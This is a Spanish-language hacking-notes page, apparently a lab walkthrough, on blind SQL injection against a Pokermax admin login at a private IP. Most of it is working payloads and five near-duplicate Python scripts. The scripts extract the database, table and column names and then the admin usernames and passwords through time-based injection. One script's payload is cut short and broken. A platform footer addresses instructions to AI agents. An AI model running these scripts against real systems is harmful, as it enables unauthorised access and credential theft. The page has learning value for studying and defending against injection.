> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md).

# SQLi Pokermax

## Vulnerabilidad de inyección SQL

**Detección de vulnerabilidades de inyección SQL:**

<figure><img src="/files/c38ae83013256874d1a455a1b0590c8626a23f76" alt=""><figcaption></figcaption></figure>

#### Identificación de una vulnerabilidad de inyección SQL en el sitio interno. Use [Burp Suite](/es/hacking-tools/web/burpsuite.md) para interceptar el tráfico.

<figure><img src="/files/dd3cd45836346f2ef4c9dfd5ac8f85f655dfddd1" alt=""><figcaption></figcaption></figure>

#### Descubrimiento del número de columnas con ORDER BY

```sql
admin' order by 7-- -

```

#### Intento de listar tablas con UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -

```

#### Uso de una inyección SQL basada en tiempo

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -

```

<figure><img src="/files/140e7d0b27a8b290ade1a660870026d700b100f4" alt=""><figcaption></figcaption></figure>

#### Automatización con Python para extraer el nombre de la base de datos

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("Inyección SQL completada")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/68682166f0d68b376a303cfd4deff3e93f72d088" alt=""><figcaption></figcaption></figure>

#### Automatización en Python para extraer todos los nombres de las bases de datos

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("Inyección SQL completada")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/e8aa3526f79721d92d36dcda11b34fc815e4b036" alt=""><figcaption></figcaption></figure>

#### Automatización con Python para extraer nombres de tablas:

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("Inyección SQL completada")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/3a115a6929ed4cbe9209e532dd6511f80821c708" alt=""><figcaption></figcaption></figure>

#### Automatización con Python para extraer nombres de columnas:

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("Inyección SQL completada")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/5cea0c24d1169e95b720e395af347cddb091b1f7" alt=""><figcaption></figcaption></figure>

#### Automatización con Python para extraer las columnas de nombre de usuario y contraseña:

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("Inyección SQL completada")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/8528be771b2df88bf9b4e2575a403220abc68e4c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
